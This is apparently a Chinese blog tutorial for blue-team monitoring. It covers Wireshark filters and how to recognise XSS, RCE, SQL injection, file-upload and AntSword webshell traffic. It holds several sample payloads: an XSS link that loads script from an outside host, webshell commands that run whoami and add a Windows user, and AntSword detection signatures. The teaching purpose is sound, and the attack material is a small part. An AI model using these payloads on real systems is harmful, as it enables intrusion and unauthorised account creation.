在HW中,最离不开的,肯定是看监控了,那么就要去了解一些wireshark的基础用法以及攻击的流量!!!!
1.Wireshark的基本用法
比如人家面试官给你一段流量包,你要会用
1.分组详情
对于我们这里看见的东西,就是分组详情
其中,它把osi分成了五层
- 网络接口层
- 数据链路层
- 网络层
- 传输层
- 应用层
2.过滤详情
总的来说,其实过滤规则就是这样的
1.ip的过滤
那么下面,我们来实操一下,比如我想追踪一个为192.168.246.1的ip
bash
ip.addr == 192.168.246.1
但是这样的话,是不是就无法直观的判断它是源还是地址,所以我们就要增加过滤规则
bash
ip.src == 192.168.246.1 //源ip是192.168.246.1
ip.dst == 192.168.246.1 //目的ip是192.168.246.1
2.过滤特定内容
比如如果在打CTF的时候,我们想要去获得包中含有flag的包,那么我们就可以这样做!!!
bash
http contains "flag"
然后我们点击追踪流(这个经常用)
这样的话就能看见一个完整的包了,想招什么自行过滤
如果我们像要对某一个页面的流量进行检测,那么就要这么写
bash
http.request.uri contains "/pikachu" //模糊匹配
http.request.uri == "/pikachu" //精准匹配
3.过滤对应的端口
端口信息存在于传输层,所以我们直接对其过滤就好
bash
tcp.srcport == 80
tpc.dstport == 80
4.过滤请求方式
有的时候,有的是POST有的是GET,还有可能是PUT,所以我们就要去过滤
bash
http.request.method == "POST"
http.request.method == "GET"
http.request.method == "PUT"
3.攻击流量的分析
1.XSS的攻击流量
为了产生XSS的攻击流量,我直接FUZZ了!!!
那就随便逮住一个包来分析一下流量把!!!!
像XSS的流量,一般都是包含什么script alert ,JavaScript这些的
那么怎么判断呢,最简单的,看返回包有咩有对script这样的东西html实体编码
如果是这样的话,大部分就是成功了
再不行的话,还有一种最简单的方法,直接把整个流复制到一个htm的文件里面
并且打开,看一下有没有弹窗,有的话,就是直接弹窗的!!!!!
但是,如果遇到一些逆天的payload呢
bash
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
也不用慌,notepad++走一手,发现是html实体编码,那么我们就要把&#替换为空
然后上python,只用拿前面几个就好,就能大概判断是在XSS
2.RCE流量
对于RCE,其实很好识别,因为基本上都是一些特征的流量
如果能看见这样的话,就基本上是稳了(穿了)
3.SQL注入流量
噢,sql注入,可怕的攻击(hhhhh我没有抄袭)
这个就直接用sqlmap去跑一下就好了
然后我们去看他的流量
看以看见有两个包,直接复制去URL解码,可以看见他是在联合注入
于是再去wireshark里面看内容,可以看见它就是直接被脱了数据库
那如果是别人 --dump呢直接 也来看看
看见到了脱库的流量
4.文件上传流量
这个其实很好判断,要么别人就是在FUZZ上传格式,要么就是在尝试解析漏洞,或者最简单,我们直接看他的上传文件的内容
像这种又是php|| jsp ||asp,又是GIF89A,eval,assert还有一些特殊的函数的,稳稳的文件上传
5.Webshell流量
这个就重要了!!!!这个基本上面试必问
像我们常见的蚁剑,c🔪,冰蝎,哥斯拉等等.....我们来看看它的流量
先准备一个木马
然后我们先去试试水,这时候很多小白就会想了???不是,是不是我木马没有被解析,怎么没有反应!!!!!
如果你也用这样的疑问,我只能说你对RCE理解的不对!!!
eval是什么函数???? 是代码执行的函数,ipconfig是代码嘛?????
所以正确的做法应该是这样
bash
cmd=system("whoami /groups"); //这个结尾的分号不要忘了啊
可以看见直接是high,就是说这个最起码是administrator的权限了,直接无视UAC的
不信的话我们可以试一试
bash
cmd=system("net user test hongrisec@2024 /add ");
okay!差不多,扯远了,我们还是来说回蚁剑吧!!!先来测试一下连接的流量
直接看他的包(我这里没有选择编码,于是所有流量都是明文传输)
不要慌,我们用notepad操作一下(URL decode)
好的看不懂,问gpt
所以大概就是干了这么几件事情
- 先关闭了php的错误显示,并且设置脚本执行时间不限制
- 然后创建一个隐藏目录
- 然后写两个函数,其中的一个函数获取缓冲区内容并且输出
然后我们再去看一下它的执行命令时候的流量(有点逆天)
还是来总结一下
- 通过调用了php的system,passthru,shell_exec这些命令执行函数来构造runcmd这个函数
- fe函数用来检验禁用的函数
- runshellshock函数检查有没有shellshock这个漏洞(这个Linux漏洞当时真的是非常出名)
- 然后用回一开始连接的asoutput函数将输出结果返回给用户
但是如果人家蚁剑用的是base64编码呢???
我们先去对结果解码一下
md不知道啥玩意,我们'逆向一波"
看见是其中一段是能对上的,我们单独解码那一段,好的,果然是
其实我们看请求包也能看出来,有一个base64的字样
对于蚁剑的流量特征,一般是这样的
- @ini_set("display_errors","0"); 如果不经过编码的话,这个就是直接的明文,能看到这个,基本上可以判断是webshell
- 蚁剑可能使用特定的用户代理字符串,例如"AntSword"或"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"等。
- 混淆加密之后的流量的参数一般是以 0x的形式出现